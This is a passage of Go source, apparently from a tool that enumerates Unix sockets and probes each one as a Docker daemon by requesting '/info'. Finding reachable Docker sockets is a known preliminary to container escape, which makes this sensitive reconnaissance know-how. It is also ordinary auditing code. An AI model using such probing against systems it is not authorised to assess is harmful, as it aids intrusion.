| } 667 | return validSocks, nil 668 | } 669 | 670 | func checkSock(path string) (*http.Response, error) { 671 | if *verbosePtr { 672 | fmt.Println("[-] Checking Sock for HTTP: " + path) 673 | } 674 | 675 | u := &httpunix.Transport{ 676 | DialTimeout: 100 * time.Millisecond, 677 | RequestTimeout: 1 * time.Second, 678 | ResponseHeaderTimeout: 1 * time.Second, 679 | } 680 | u.RegisterLocation("dockerd", path) 681 | var client = http.Client{ 682 | Transport: u, 683 | } 684 | resp, err := client.Get("http+unix://dockerd/info") 685 | 686 | if resp == nil { 687 | return nil, err 688 | } 689 | return resp, nil 690 | } 691 | 692 | func debug(data []byte, err error) { 693 | if err == nil { 694 | fmt.Printf("%s\n\n", data) 695 | } else { 696 | log.Fatalf("%s\n\n", err) 697 | } 698 | } 699 | --------------------------------------------------------------------------------